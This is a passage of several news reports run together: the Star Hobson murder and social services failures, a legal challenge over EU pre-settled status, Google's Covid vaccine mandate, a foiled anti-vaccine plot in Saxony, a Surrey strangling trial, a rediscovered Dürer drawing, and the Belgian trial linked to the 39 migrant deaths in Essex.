great-grandfather alerted social services to a video of Star with bruises on her face. When they visited her, her mother was said to have been in Scotland. The next day they went again unannounced and found her at home with Brockhill. They noticed Star was so unsteady on her feet she walked into a sofa while they were there. There were also bruises on her cheek and right shin but were told by Brockhill she had fallen down the stairs. The murderer told police later what the social worker had said, adding: 'Social services came to see Star, she checked her body, her bedroom, chatted with us about Star, she said the report was malicious.' On September 15 social services closed the case, indeed concluding the referral had been 'malicious'. A week later Star was murdered. Advertisement She told MailOnline that her daughter was 'immature' and 'vulnerable' throughout her life and that she is still struggling to come to terms with the role that she played in the death of Star. She cried: 'My head is all over the place, I just can't understand it. Frankie was not the brightest of kids. She didn't have any ambition or aims in life, but she was not nasty. She was just very innocent and very vulnerable. 'She was just a sweet kid all through her life, but she never properly grew up. You could call her immature but I didn't see it like that. It never worried me because I thought that was just Frankie. Even as a teenager, she was into dolls, toys, Justin Bieber and other pop stars that are mainly popular with younger girls.' Smith left school at the age of 16 without any qualifications and has never worked since. Her heartbroken mother added: 'She's never had a job and mainly relied on the family and benefits. She wasn't very driven and didn't ever speak about doing anything in life, but I loved her for what she was.' Aged 17, Smith fell pregnant to her student boyfriend, Jordan Hobson, but their relationship soon broke down and he returned to university in Sunderland. Star was born in May 2019. Interviewed by police following the toddler's death, Smith maintained that she had always been a dedicated mother. 'I loved [Star] more than anything in the world, I'd do anything for her,' she told the officers. 'My money always went on her. Motherhood is the best thing that ever happened to me.' But in reality she had no interest in looking after the toddler. She would dress her up in nice clothes but leave all the important tasks - like cleaning, nappy changing and meals - to others. Most weekends she would leave her with her babysitter, Holly Jones, and go out drinking in pubs around Bradford, frequently with her mother, Yvonne. It was on one of those nights out that she met Brockhill, who was on the door at The Sun pub in Bradford. 'She was very confident and outgoing, and was really interested in me,' Smith told the jury. 'I liked how confident she was but I'd never looked at a girl in that way before.' Smith - who was interested in dating women but still maintained to be heterosexual - started going out with Brockhill soon after they first met in October 2019 and quickly fell under her spell. Some of her extended family had opposed the relationship due to it being with another woman, as well as due to Brockhill's background as a traveller. These concerns would later go on to affect how the case was later dealt with by social services, the trial heard. Faced with numerous referrals from concerned family members, social workers accepted Smith's story that they were 'malicious' and motivated by prejudice, the jury were told. The couple's 11-month liaison was toxic from the start, with Smith becoming subservient to the domineering and increasingly violent Brockhill. Brockhill bossed Smith around remorselessly, telling her to implement a strict eating and sleeping routine. It went much further than that, though. At times, her controlling personality verged on the psychotic. Brockhill attacked Smith on a number of occasions, leaving her with black eyes and bruises across her body. Once, she punched her in the face in an unprovoked assault in a pub, leaving her with a chipped tooth. Brockhill warned Smith off talking to men or anyone showing an interest in her new girlfriend. She even posted a video online with knife and bomb emojis and the message: 'I am a psycho when it comes to my girlfriend and wouldn't mind putting anyone in a [wheel] chair for the rest of their life if they so much as look at her wrongly. Keep safe, don't message my girlfriend.' Once, when Smith went out without her, she sent her more than 200 messages and calls, along with a video of Brockhill 'licking blood off a wall' and threatening 'to stab someone tonight'. Nevertheless, Smith became 'obsessed' with her older lover. The two would spend hours on the phone ignoring Star's needs when she was not actually being brutalised. But Star's plight did not go unnoticed; abuse such as this rarely does. The first social services referral was made on January 23 last year eight months before Star died. Babysitter Holly Smith noticed bruising on her and raised her fears about potential domestic abuse, which resulted in police and social services visiting Smith. No action was taken. Their housing association flat was tidy; the couple themselves were well turned out. But then people who abuse children are 'cunning and clever' words, of course, used to describe Brockhill in court. The following month, after the first referral, Star went to stay with her great-grandmother Anita Smith and her partner, David Fawcett, for ten weeks because they thought her mother wasn't coping. Star gained weight, suffered no more bruising and became a happy baby again, at least temporarily. On the day Smith came to take her back, a neighbour recalled how 'Star was terrified and screaming down the path'. Smith (pictured with Brockhill) had an IQ of just 70 and was completely in thrall to her girlfriend, the trial heard Frankie Smith is HERSELF a victim of her 'pure evil' partner who murdered her 16-month-old daughter, barrister tells court Star Hobson's mother was described as 'another victim' of the little girl's murderer by her lawyer in court this morning Frankie Smith is being sentenced for causing or allowing 16-month-old Star's death alongside her former partner Savannah Brockhill, who was found guilty of the youngster's murder. Addressing Bradford Crown Court, Zafar Ali QC, for Smith, said: 'She is herself a victim of the murder count, having lost her daughter. 'She was plainly unaware of the seriousness of the assaults being inflicted on her daughter.' Smith and Brockhill pictured together Bouncer and security guard Brockhill, 28, was branded 'pure evil' by Star's family, who said she 'ascended from the bowels of hell' after she was on Tuesday found guilty of murdering the youngster. A jury heard Star endured months of assaults and psychological harm before suffering 'utterly catastrophic' injuries in her home in Keighley, West Yorkshire. Smith, 20, was cleared of murder but was convicted of causing or allowing the toddler's death - an offence with a 14-year maximum prison sentence. Today Mr Ali asked judge Mrs Justice Lambert to take a number of things into account before sentencing Smith, including that she has no previous convictions and is 'remorseful for her wilful ill-treatment of Star'. Kath Goddard QC, for Brockhill, said her client had written to the judge on Wednesday morning but the content of this note was not read to the court. She explained how Brockhill's arrest had put her whole family in danger and described how her brother-in-law had been subject to an 'extremely violent assault', leaving him with a fractured skull. Ms Goddard said: 'The wider Brockhill family have been, and I anticipate they will continue to be, subjected to intimidation or, at the very least, unpleasant behaviour which they do not deserve. 'Miss Brockhill is extremely conscious that she had brought this on her family.' Advertisement Just nine days later Mrs Smith contacted social services after, the court heard, learning about play-fights in the flat with Star that involved a 'choke-slam' wrestling manoeuvre. Mr Fawcett was also concerned about Brockhill's desire to shave Star's hair in accordance with gipsy tradition - something that may have fuelled social services' mistaken belief that his complaints were motivated by prejudice. When they visited, social workers saw no bruising and found Star to be comfortable with Brockhill. No action was taken. Mrs Smith and Mr Fawcett were then banned from seeing Star by the couple. But in June the authorities were called in for the third time when Smith's older sister Alicia Szepler took photographs of bruises on her niece and sent them to police. She told officers her sibling swore at Star and deprived her of food. The allegations coincided with Star's biological father, Jordan Hobson, who had also been sent the picture of his bruised daughter, voicing his concerns with social services. The toddler was taken to Bradford Royal Infirmary. The doctor who examined Star accepted Smith's excuse that she bumped into a coffee table and sustained other bruising while playing with a puppy. No action was taken. Two more referrals the fourth and fifth were made to social services by friends and relatives. No action was taken. Asked about the referrals under cross-examination, Smith said her grandmother was from a generation that sometimes had difficulty with gay relationships but it was social services who actually used the word 'malicious' to describe the complaints, she insisted. 'They said it to me,' Smith told the jury. She was pressed on this point by prosecutor Alistair MacDonald QC, who asked her: 'At every social services referral you were convincing them they were malicious reports, they [her family] didn't like your relationship?' 'Yes,' she replied. Star's fleeting life came to an end after being 'punched, stamped on, or kicked' in the stomach, probably by Brockhill, while Smith left the living room to go to the bathroom, the court heard. The savagery in September last year left Star with a ruptured vein that led to bleeding in her abdominal cavity. Instead of dialling 999, the two people who were supposed to protect her Googled 'how to bring a baby out of shock' and there was an 11-minute delay as Brockhill attempted CPR before calling an ambulance. By the time Star reached hospital she was already dead. In the ambulance on the way to hospital, Smith told her mother she had been out of the room when Star was attacked before entering to find Brockhill there. Then in the hospital Smith - ever compliant - agreed to her girlfriend's request to lie about what happened and claim that both she and Brockhill were outside the room and only entered after hearing a 'bang'. But the horrific truth was no secret to Smith's family and her father, Andrew, took his own life on his daughter's birthday in June after sending her a heartbreaking note in prison promising to look after her child. Midway through the trial Smith would finally tell the truth to the jury: that Brockhill had murdered Star and she had done nothing to stop her. Their sentencing today may finally achieve justice for the toddler but it is only the start of another reckoning for social services and society as a whole. Brockhill, 28 and Smith, 20, were convicted for killing Star Hobson and sentenced this afternoon Priti Patel is being taken to court over a Brexit rule change that could see up to two million EU citizens living in Britain stripped of their right to work or even deported. Under a deal agreed with Brussels, Europeans who could prove they had been here five years or more were eligible for 'settled status', while those who could not were granted 'pre-settled status'. Now the Independent Monitoring Authority set up to oversee implementation of the Withdrawal Agreement says that the Home Office is demanding that those who were granted pre-settled status reapply for the main scheme. Failure to do could see them unable to work or access UK benefits and in some cases be forced to leave the UK under changes that could come into force as soon as 2023, the IMA says. It is seeking a judicial review of the change, saying it contravenes the Citizens Rights Agreements between the UK and the EU. Priti Patel is being taken to court over a Brexit rule change that could see up to two million EU citizens living in Britain stripped of their right to work or even deported. Dr Kathryn Chamberlain, chief executive of the IMA, added: 'In taking legal action now we hope to provide clarity for those citizens with pre-settled status, of which there are 2.485 million as of November 30 2021.' The Government is accused of 'failure to correctly implement the United Kingdom's obligations' under the treaty. 'The issue is that the Secretary of State maintains that those qualifying EU and EEA EFTA citizens who successfully applied for pre-settled status may subsequently lose it entirely if they later fail to make a second application,' it continues. 'Such individuals are required to make a second application within five years of the grant of pre-settled status, either for settled status under the EUSS (once they qualify for permanent residence), or for a further period of pre-settled status. But if they fail to apply for either status, the Secretary of State will consider them to be unlawfully present in the UK by reason of that failure. 'The result is that they will be exposed to considerable serious consequences affecting their right to live, work and access social security support in the UK. The Claimant contends that this is incompatible with the Agreements, which do not provide for loss of status in such circumstances.' Dr Kathryn Chamberlain, chief executive of the IMA, added: 'In taking legal action now we hope to provide clarity for those citizens with pre-settled status, of which there are 2.485 million as of November 30 2021.' A Home Office spokesman said: 'We take our citizens' rights obligations very seriously and have implemented the arrangements we agreed under the Withdrawal Agreement in good faith. 'The Government does not agree with the Independent Monitoring Authority's analysis of the Withdrawal Agreement. 'It has been the UK Government's longstanding position that people with pre-settled status will have to apply for settled status before their pre-settled status expires to stay in the UK.' Google told its employees they will lose pay and could be fired if they do not follow the firm's Covid-19 vaccination rules. The tech giant is requiring its more than 150,000 US employees to report their vaccination statuses and all employees who work directly or indirectly with government contracts to be vaccinated, whether they plan to work in the office or not. It came after Joe Biden ordered US companies with 100 or more workers to make sure employees are fully vaccinated or regularly tested for Covid by January 18. But this month, all three of Biden's vaccine mandates have been put on hold by court. An internal staff memo sent by Google's leadership told employees they had until December 3 to declare their vaccination status and upload documentation as proof, CNBC reported. The memo gave the same deadline for employees to apply for a medical or religious exemption in place of giving their Covid vaccine documentation. After that date, Alphabet Inc's Google said it would begin contacting employees who were unvaccinated, who had not uploaded their status, or those whose exemption requests were not approved. A memo told Google employees they had until December 3 to declare their vaccination status, after which Google said it would begin contacting employees who had not done so By January 18, employees who have not complied with the company's vaccination rules will be placed on 'paid administrative leave' for 30 days. This will be followed by 'unpaid personal leave' for up to six months and termination, according to CNBC. The document said almost all roles at Google in the US will full under 'the scope' of the executive order from the Biden administration, which called for vaccine mandates for businesses. Adding that 'frequent testing' is not an alternative to vaccination, the memo read: 'Anyone entering a Google building must be fully vaccinated or have an approved accommodation that allows them to work or come onsite.' Google's vaccination policy was outlined in a blog post shared in July this year, where it said that anyone working on the company's campuses would need to be vaccinated. It added: 'Anyone coming to work on our campuses will need to be vaccinated. We're rolling this policy out in the US in the coming weeks and will expand to other regions in the coming months.' By January 18, employees who have not complied will be placed on 'paid administrative leave' for 30 days, followed by 'unpaid personal leave' for up to six months and termination Google told Reuters: 'We're committed to doing everything possible to help our employees who can get vaccinated do so, and firmly stand behind our vaccination policy'. It comes after at least 600 employees have signed a manifesto calling on the tech company to retract its Covid vaccine mandate. WHAT IS GOOGLE'S VACCINATION POLICY? Google's vaccination policy was outlined in a blog post shared in July this year, where it said that anyone working on the company's campuses would need to be vaccinated. It added: 'Anyone coming to work on our campuses will need to be vaccinated. We're rolling this policy out in the US in the coming weeks and will expand to other regions in the coming months. 'The implementation will vary according to local conditions and regulations, and will not apply until vaccines are widely available in your area. 'You'll get guidance from your local leads about how this will affect you, and we'll also share more details on an exceptions process for those who cannot be vaccinated for medical or other protected reasons.' KEY DATES December 3: Employees must declare their vaccination status and upload documentation as proof, or apply for a medical or religious exemption. Next step: Alphabet Inc's Google will contact employees who were unvaccinated, who haven't uploaded their status, or those whose exemption requests were not approved. January 18: Employees who have not complied with the company's vaccination rules will be placed 'paid administrative leave' for 30 days. This will be followed by 'unpaid personal leave' for up to six months and termination. Advertisement The manifesto, which has been signed by at least 600, or less than 0.5 per cent of all Google employees, asks company executives to abandon the policy to create a mandate 'inclusive of all Googlers,' according to CNBC. It urges workers to 'oppose the mandate as a matter of principle' and encourages them not to allow the mandate to influence their decision to be inoculated. Google had originally set a November 12 deadline for employees to request vaccine exemptions, and employees will be required to work in the office three days a week starting January 10. The authors sent the open letter, with the subhead 'Respect the User,' to Google's chief health officer Karen DeSalvo, the document states. 'I believe that [CEO] Sundar's Vaccine Mandate is deeply flawed,' the manifesto says, describing executives' leadership as 'coercive' and 'the antithesis of inclusion.' Google CEO Sundar Pichai announced the company's requirement for employees to be fully vaccinated to return in-person in a blog post in July. 'Getting vaccinated is one of the most important ways to keep ourselves and our communities healthy in the months ahead,' Pichai wrote at the time. The manifesto insists that the policy 'publicly and possibly embarrassingly exposes' employees' private choices. 'Such Googlers may never feel comfortable expressing their true sentiments about a company health policy and other, unrelated sensitive topics. 'This results in silenced perspective and exacerbates the internal ideological 'echo chamber' which folks both inside and outside of Google have observed for years,' the authors wrote. They also do not believe the company has the right to demand to know the staff's health and medical history claiming 'the vaccination status is no exception.' 'It normalizes medical intervention compulsion not only for Covid-19 vaccination but for future vaccines and possibly even non-vaccine interventions by extension. It justifies the principle of division and unequal treatment of Googlers based on their personal beliefs and decisions,' the manifesto states. 'The implications are chilling. Due to its presence as an industry leader, Google's mandate will influence companies around the world to consider these as acceptable tradeoffs.' Google CEO Sundar Pichai announced all employees must be fully vaccinated to return in-person. Employees will be required to work in the office three days a week starting January 10 As of Monday, only 16 percent of Americans had received their COVID-19 booster shots, with no state having more than 30% of its population boosted Google VP of Security Chris Rackow sent an email last month, according to CNBC, touting the need for vaccinations: 'Vaccines are key to our ability to enable a safe return to office for everyone and minimize the spread of COVID-19 in our communities.' Google employees have continued to work to get executives to address their concerns. But Google isn't the only workplace struggling to vaccinate their workers. Earlier this month, a federal judge blocked the last of the Biden administration's Covid vaccine mandates for businesses, saying the government exceeded its authority with a requirement that millions of employees of federal contractors be inoculated. The ruling was the latest setback for President Joe Biden, who announced a series of measures in September aimed at increasing vaccination rates to fight the pandemic that continues to kill more than 1,000 Americans daily. All three of Biden's broad vaccine mandates affecting the private sector have been put on hold by courts. U.S. District Judge Stan Baker in Savannah, Georgia, said Congress did not clearly authorize the president to use procurement to impose a vaccine requirement on contractors that will have 'vast economic and political significance.' He ruled that Executive Order 14042 - which on September 9 brought in the mandate for federal contractors - was not lawful. 'The Court finds that Plaintiffs have a likelihood of proving that Congress, through the language it used, did not clearly authorize the President to issue the kind of mandate contained in EO 14042, as EO 14042 goes far beyond addressing administrative and management issues in order to promote efficiency and economy in procurement and contracting, and instead, in application, works as a regulation of public health, which is not clearly authorized under the Procurement Act 9,' wrote Baker in his ruling. 'While the Procurement Act explicitly and unquestionably bestows some authority upon the President, the Court is unconvinced, at this stage of the litigation, that it authorized him to direct the type of actions by agencies that are contained in EO 14042.' The lawsuit was filed by the states of Georgia, Alabama, Indiana, Kansas, South Carolina, Utah and West Virginia as well as a trade group for building contractors. The rule required contractors to have employees fully vaccinated by January 18. Biden's executive order applied to newly awarded contracts, although the government has been asking suppliers to agree to amend existing contracts to insert the vaccine requirement. The contractor requirement was meant to improve efficiency among government suppliers by reducing outbreaks and was far-reaching, applying even to those working remotely. German police have foiled an 'anti-vaxxer' plot to assassinate Saxony's state premier in an attack using 'guns and crossbows' amid increasing anger over plans for mandatory vaccinations, officials said on Wednesday. The plan to kill Michael Kretschmer, leader of a state in which COVID-19 infection rates are among the highest in Germany and vaccination rates are the lowest, had been discussed in a group chat on messaging platform Telegram, police said. Kretschmer has vocally supported national measures against the unvaccinated in one of the areas of the country with the lowest inoculation rates. Members of the group, called 'Dresden Offlinevernetzung', or Dresden offline network, had suggested in messages on Telegram that they might be in possession of firearms and crossbows, Saxony police said on Twitter. Police and special forces staged an operation in Saxony. After searches of several sites in Dresden, police said 'the initial suspicion is confirmed'. German police have foiled an 'anti-vaxxer' plot to assassinate Saxony's state premier in an attack using 'guns and crossbows' police said on Wednesday. Pictured: Police detain a suspect during raids in several locations in Dresden, Germany, December 15, 2021 'Statements from certain members of the group suggested they might have real weapons and crossbows,' police said, without indicating if any arrests had been made. Pictures showed one man being led away by officers on Wednesday. Audio messages called for opposing 'if necessary with weapons' the measures in place, targeting politicians and in particular, Kretschmer. Authorities suspected 'the preparation of a violent crime that threatens the state', police later said on Twitter. The investigation was opened after journalists from public broadcaster ZDF infiltrated an encrypted Telegram chat and reported on the death threats last week. Protests against new restrictions on the unvaccinated and plans to make vaccinations compulsory for some groups in Germany have recently become more violent, with increased attacks on doctors, politicians and journalists. Vaccinations will become mandatory from March 16 for people working in hospitals, nursing homes and other medical practices. The plan to kill Michael Kretschmer (pictured on December 6), leader of a state in which COVID-19 infection rates are among the highest in Germany and vaccination rates are the lowest, had been discussed in a group chat on messaging platform Telegram, police said Saxony's state premier Kretschmer has vocally supported national measures against the unvaccinated in one of the areas of the country with the lowest inoculation rates.. Pictured: Police during the raids German broadcaster ARD reported on Tuesday that more than a dozen politicians, media outlets and public institutions had received letters that threatened 'bloody resistance' against the measures and included a wrapped chunk of meat. In September, a vaccination centre in Saxony was the target of an arson attack. Last month, a group of protesters gathered outside the home of Saxony's interior minister holding lit torches, in what was seen as an implicit threat of violence. The Telegram group of vaccination opponents in Dresden came to the attention of authorities after an investigative report by broadcaster ZDF last week. It said the group members had discussed killing Saxony state government representatives. ZDF revealed the contents of messages allegedly involving a hundred members of the chat group 'linked by their opposition to vaccines, to the state and the current health policies', police said. In his first speech to parliament as chancellor, Scholz vowed a zero-tolerance policy against such extremist groups. Germany will 'use all the means of its democratic rule of law to defend itself against this tiny minority of the hateful attacking the rest of us', he said. Police leaves a building during raids in several locations in Dresden, Germany, December 15, 2021, as part of an investigation into what they said was a plot to murder the state's prime minister, Michael Kretschmer A large, partly radicalised movement has emerged in Germany against health restrictions imposed during the Covid-19 pandemic. It is particularly strong in Saxony, in former communist East Germany, one of the regions worst hit by the resurgent coronavirus and where the vaccination rate is lower than the national average. At the beginning of December, protestors gathered outside the house of the Saxony state minister of health with torches and whistles, a demonstration which was condemned by politicians. In the midst of a strong fourth wave of the virus, the national government decided to strengthen restrictions on unvaccinated people, banning them from public venues, restaurants and non-essential commerce. Scholz has said compulsory vaccination could be voted on by parliament in the coming weeks, with the obligation to get the jab coming into force in February or March. The number of individuals opposed to the health restrictions and prepared to use violence was between 15,000 and 20,000, security expert Sebastian Fiedler of Scholz's Social Democrats told the daily Bild on Tuesday. The former East German states, including Saxony, are particularly fertile territory for the new fringe movement. Public protests against the restrictions are almost daily and sometimes result in violence. Demonstrators attend a protest against government measures to curb the spread of the coronavirus disease (COVID-19) in Berlin, Germany, December 11, 2021. Protests against new restrictions on the unvaccinated and plans to make vaccinations compulsory for some groups in Germany have recently become more violent The president of Germany's conference of interior ministers, Thomas Strobl, has called for a strong response from the federal government. Individuals who threatened the constitution 'leave the common ground of our democracy and will be held to account using all the power's available under the rule of law,' Strobl, the interior minister in the state of Baden-Wuerttemberg, told the Funke media group. The Telegram messaging app at the centre of the police investigation has itself come under fire from the government. 'We have to act more resolutely against incitements to violence and hatred on the internet,' the new federal interior minister Nancy Faeser said on Monday, noting that the messaging services were 'subject to the same rules as Twitter or Facebook' to counter illegal content. A woman taunted her husband for not being able to get an erection before he strangled her to death, a court heard. Keith Bettison, 73, allegedly murdered 48-year-old Ildiko Bettison after tormenting her with a squeaky voice like Mr Punch at their home in Chessington, Surrey. The couple were big drinkers and their relationship had been deteriorating after Bettison lost his job, the Old Bailey heard. Bettison was sacked for gross misconduct for crashing a bus while reversing six months before the killing. The couple would drink at least a bottle of spirits and Mrs Bettison often drank a large gin and tonic before getting out of bed. Their daughter Zsuzsika Bettison, 25, told the court the family had gone to several counselling sessions relating to her mothers alcoholism in the months leading up to her death. Keith Bettison, 73, allegedly murdered 48-year-old Ildiko Bettison after tormenting her with a squeaky voice like Mr Punch at their home in Chessington, Surrey, the Old Bailey has heard The Old Bailey heard Bettison and his wife were heavy drinkers and often had loud rows The couple stopped drinking after her mother was diagnosed with significant liver damage - but started again a month later. Graduate Zsuzsika said of her father: He would make noises and stuff. He would say what she said, but sort of do it back in a voice, like a childish voice, because he was annoyed. It was just to annoy her, because he was annoyed she would not stop getting at him. He would call her names, like lazy and b****. It would just be that sort of voice, he would call her fat and stuff. Zsuzsika filmed two videos of her parents drunkenly arguing in the weeks before the killing showing her mother shout at her father as he laughs and hurls insults back at her. In the video, Ildiko can be seen shouting: F*** you, dont f****** call me f****** names, I dont give a f****** s***. Cant do nothing in bed, you cant even go hard enough. Zsuzsika said: I wanted to show my mum what she was like when she was drinking, and I thought might help. It was typical, but that was bad. She would always say You defend Dad over me. Zsuzsika told the court her father called him after the alleged murder. She continued: I answered the phone, and he was crying, He was crying and said: I killed her, I f****** killed her. He repeated: I killed her, I f****** killed her. I could not f****** take it anymore. He repeated he strangled her. I think he was still in the car. He said hed reached the end of his tether. The court heard that Ildika was a nice mum but became abusive after she drank. It was not her, it was obviously the alcohol. But when she was drinking, she turned into like a different person. My dad wouldnt start the arguments, it was always my mum. She said she had seen her father hit her mother in the face once after she had physically attacked him. Prosecutor Kate Bex, QC, said yesterday neighbour Debbie May had lived next door for 10 years and was good friends with Bettison and his wife - who she called Ilde. She said they had been a happy couple up until two years ago as they drank heavily and started to argue. Ms May said the walls between their houses were paper thin and she could their arguments. She heard the defendant tormenting her by mimicking her, in a squeaky Punch and Judy type of voice. She heard him call her a fat cow. Ms Bettison came to Ms Mays door at 9:10pm on October 26, drunk and swaying, the court heard. She showed Ms May her black eye and said look, hes punched me. Ms May told her to leave him but she said he loved him. Debbie May told her that if things didnt change one of them would end up dead, said Ms Bex. Ms Mays mother was staying with her daughter on October 30, and they both heard shouting coming from the couples bedroom. The Hungarian-born victim knocked on Ms Mays door wearing a nightie without any knickers on with a gin and tonic in her hand, the court heard. She showed them bruises on up her legs and one on her left arm from when her husband kneeled on her, said Ms Bex. Bettison beckoned his wife inside, and that was the last time Ms May saw her alive. At 1am on 31 October, Bettison phoned Zsuzsika who had gone out with her friend Olivia Jones. He said: Ive killed her, Ive f****** killed her. He repeated this three times and added: I couldnt take it anymore. Zsuzsika handed the phone over to Ms Jones who asked him again what happened. Ive had enough and killed her, he said. The two friends drove to the address and Ms Jones told Zsuzsika to wait in the car. Bettison was standing in the doorway and repeating what he said on the phone, adding that Ildiko had been horrible during the last few months. Ms Jones went upstairs to the bedroom and saw Ildiko lying face up on the bed and she looked a little grey and a little blue, said Ms Bex. Bespectacled Bettison denies murder. The trial continues. A drawing bought for $30 in a Massachusetts house clearance sale is expected to sell for a staggering $50million after it was found to be a lost Renaissance masterpiece by Albrecht Durer. Experts believe the unpublished artwork, The Virgin and Child with a Flower on a Grassy Bank, was produced by the German Old Master in 1503. The 6.5ins by 6.5ins pen and black ink drawing on fine linen paper, which is signed with the initials AD, is being sold by London art gallery Agnews after extensive research confirmed its provenance. A drawing bought for $30 in a Massachusetts house clearance sale is expected to sell for a staggering $50million Experts believe the unpublished artwork, The Virgin and Child with a Flower on a Grassy Bank, was produced by the German Old Master in 1503 It came to light in 2016 when a man in his 60s spotted it and bought it for the modest sum at an estate sale. The American buyer was struck by the unframed drawing's beauty but both he and the seller believed it was a 20th century reproduction. He told The Times: 'Even though Im not an art expert, I knew the chances were slim to none. 'But I thought it was a wonderfully rendered piece of old art, which justified purchasing it.' He also bought an early French gilt frame, placed near the drawing at the sale, and believed the two belonged together. Clifford Schorer, an art dealer for Agnews and a Durer expert, was informed about the work after a chance meeting with antiquarian book dealer Brainerd Phillipson. The art expert, who specializes in misattributed paintings, was shopping for a gift in Phillipson's book shop in Cape Cod and was browsing through art books when he was asked by the shop owner if he knew much about art. Phillipson, a friend of the unnamed Durer owner, explained that no one had been able to identify the drawing and they were struggling to sell it. The owner was offered $2,000 by one dealer, but only for the elaborate gilt frame. Durer (pictured in his 1498 self-portrait) was regarded as the 'greatest German artist of his age' and his patrons included princes and emperors Schorer gave him his business card and 11 days later, received an email showing the drawing of the Madonna and child. He was stunned by the quality and agreed to take a look at it himself, visiting the vendor who presented the drawing to him on his dining room table. He stared at it for an hour as he was blown away by its 'magnificence', instantly thinking it could be the 'real thing'. He said: 'As soon as I examined it I instantly felt it was right. This is either the greatest forgery I have ever seen, or its a masterpiece.' From there, he set about authenticating the drawing, showing it to museums and experts including Dr Christof Metzger, chief curator at the Albertina museum in Vienna. It took the Durer expert just 15 seconds of looking at the drawing to claim: 'This is absolutely right, it's magnificent.' Crucially, world renowned paper restorer Jane McAusland, who also inspected the drawing, identified Durer's Trident and Ring watermark. They believe the drawing may have been used as a study for one of Durer's finest watercolors, The Virgin with a Multitude of Animals (1506). Although its early history remains uncertain, it is believed the drawing may have come into the possession of the Holy Roman emperor Rudolf II who had the world's largest Durer collection. Experts believe the drawing may have been used as a study for one of Durer's finest watercolors, The Virgin with a Multitude of Animals (pictured) It was then seized after Napoleon's forces crushed the Hapsburg army in 1805 at the Battle of Austerlitz. Baron Denon, the first director of the Louvre who looted major works after Napoleon's conquests, displayed it before it was passed on to French dealers, it is believed. It was then bought by the Maison Carlhian antique furniture company and decorative art gallery in 1919 and was passed down the family, eventually ending up in the hands of esteemed Boston architect Jean Paul Carlhian, who died in 2012. His wife died three years later, prompting the house sale. The drawing has been displayed at Agnews in London ahead of its sale. It is also going on show in New York, with the gallery already receiving worldwide interest from potential buyers. They have not given it a fixed price, but believe it could break the record for a work on paper by an Old Master, eclipsing Raphael's Head of a Muse (1510), which fetched $48million at auction in London in 2009. Agnews have entered into a private agreement with the unnamed vendor to sell it on their behalf. They have already paid an advance of $100,000 and he will receive an undisclosed sum when it sells. It came to light in 2016 when a man in his 60s spotted it and bought it for the modest sum at an estate sale Mr Schorer said: 'The drawing was purchased in a house sale by the buyer who thought it was particularly attractive. 'I have had some conversations with the family who sold it and they believed it was a false. 'The first time I saw it was in 2018 when the buyer presented it on a dining room table. 'I looked at it for an hour trying to reconcile what I was seeing which was both magnificent and impossible. 'I thought it was too beautiful to be false and have spent three years seeking to authenticate it. 'I have shown the drawing to almost all the international Durer specialists to build a consensus (that it is legitimate). 'I believe this drawing is rarer than Raphael's (Head of a Muse), and could fetch a record price. 'It is an extremely important addition to Durer's work, who is one of the Renaissance's biggest names, and it is a once in a lifetime find.' Durer, (1471-1528), whose vast body of work includes engravings, portraits and watercolors, was admired by the Italian masters Raphael, Givoanni Bellini and Leonardo da Vinci. Regarded as the 'greatest German artist of his age', his patrons included princes and emperors. Advertisement A Vietnamese migrant and alleged gang leader accused of sending 39 of his own countrymen to their deaths in the back of an overcrowded lorry discovered in Essex in 2019 has gone on trial in Belgium today. Vo Vang Hong, 45, is facing 15 years in jail for allegedly running a safehouse located above a pizzeria in Anderlecht, a district of Brussels, that many of the migrants passed through before being locked inside the refrigerated lorry trailer that would ultimately become their tomb. He appeared in court in Bruges today alongside 22 other defendants accused of being part of the gang or working for it. Twelve of the defendants are also Vietnamese or Vietnamese-Belgian, and are alleged to have worked as safehouse guards or grocery shoppers who fetched food for migrants being smuggled. Ten of the accused - three Belgians, six Moroccans and an Armenian - were taxi drivers in Brussels and are accused of ferrying people to the safe house. Collectively, they are accused of involvement in 'several dozen smuggling activities' that illegally brought at least 100 people to the UK going back to September 2018. 23 men went on trial today in Belgium accused of belonging to or working with a people smuggling gang linked to the deaths of 39 Vietnamese migrants in a lorry in Essex in 2019 One of the suspects - Vo Vang Hong, 45 - is accused of being the gang boss who ran a safe house. Ten are taxi drivers alleged to have driven migrants to the safe house, and the other 12 are accused of being part of 'dozens' of smuggling operations dating to September 2018 Another man, also Vietnamese, has been charged over the deaths but is facing a separate legal process because he was a minor at the time. Presenting the case in court, one prosecutor recalled the haunting image of a bloody handprint on the door of the trailer in which the migrants died. The 23 were arrested in May 2020, as Belgian police swooped on the gang seven months after the lorry deaths. Prosecutors say they had been operating out of an apartment run by Hong that was located above a pizzeria on Ninoofsesteenweg, the main highway cutting through the Anderlecht district. Police had been tracking the gang for some time before the ill-fated migrants passed through the safehouse, investigators said, but had not amassed enough evidence to raid the property in the wake of the tragedy. Prosecutors say the smugglers had connections in France, the Netherlands and Germany, and that it was believed some of the defendants continued their illegal activities after the October 2019 tragedy. They said the 'very well organised' gang specialised in clandestinely transporting people into Europe then Britain for a total fee of 20,000 each. They said the gang used an Irish trucking company that regularly imported Vietnamese biscuits to get the migrants across the Channel, and that Vietnamese gang members took charge of them once they got to Britain. In previous court documents, prosecutors laid out the route the migrants had taken to the UK which ended up with them dead. On October 21, two days before the bodies were found, prosecutors say migrants who had been brought to Hong were driven Paris. Then - the following day - they were taken to Bierne in northern France where they were ordered inside the refrigerated lorry. Belgium launched an investigation into the deaths after it emerged the container in which the migrants died originated in the port of Zeebrugge (pictured, in court today) Driver Eamonn Harrison, 23 and from Northern Ireland, then drove the trailer back to Belgium and to the port of Zeebrugge where it was left on the dock to be loaded on to a ferry bound for Purfleet, in Essex. During the journey, temperatures inside the trailer soared to 38.5C and oxygen levels dropped near-zero, causing the 39 people inside to suffocate. Many sent desperate last texts or voice messages to loved ones as they died, while at least one grabbed hold of a metal pole and tried to batter their way out. A separate trial in the UK established the trailer was then picked up by driver Maurice Robinson, also from Northern Ireland, who was texted by boss Ronan Hughes telling him to 'open it and give them some air but don't let them out'. Robinson sent a thumbs up emoji back and soon pulled over on an industrial estate in Grays, Essex, and opened the container doors - 12 hours after they were sealed. During the trial, jurors saw horrifying footage of steam gushing from the container as Robinson opened it. He then sent a message to Hughes saying: 'They're f***** dead.' Robinson then re-sealed the lorry and drove around for seven minutes before returning to the same industrial estate and parking up a second time. He opened the read doors again, then had a call with Hughes. A short time later, fixer Gheorghe Nica became involved in the calls, as did Christopher Kennedy, another lorry driver involved in the operation. For 15 minutes, the four-some called and texted one-another while trying to work out what to do. Robinson eventually called police and requested an ambulance. Emergency services rushed to the scene, but could do nothing to save the victims. Police described arriving to an horrific scene of 39 bodies - 31 men and eight women, ten of whom were teenagers and the youngest of whom were 